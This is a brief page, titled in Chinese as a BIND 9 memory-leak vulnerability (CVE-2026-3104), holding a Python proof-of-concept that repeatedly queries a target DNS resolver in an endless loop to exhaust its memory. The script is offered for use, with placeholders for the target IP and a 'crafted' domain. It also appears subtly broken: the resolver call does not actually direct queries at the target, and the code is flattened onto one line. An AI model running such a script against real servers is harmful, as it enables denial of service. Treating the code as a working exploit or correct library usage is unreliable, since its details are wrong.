CVE-2026-3104 BIND 9内存泄漏漏洞

import dns.resolver import time # Target vulnerable BIND resolver target_dns = '192.168.1.10' # Replace with actual target IP malicious_domain = 'example-leak.test' # Replace with the crafted domain pattern def trigger_memory_leak(): print(f"[*] Sending queries to {target_dns} for {malicious_domain}...") try: while True: # Send DNS query to trigger the leak answer = dns.resolver.resolve(malicious_domain, 'A', target_dns) print(f"[+] Query sent. Answer: {answer.rrset}") time.sleep(0.1) except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": trigger_memory_leak()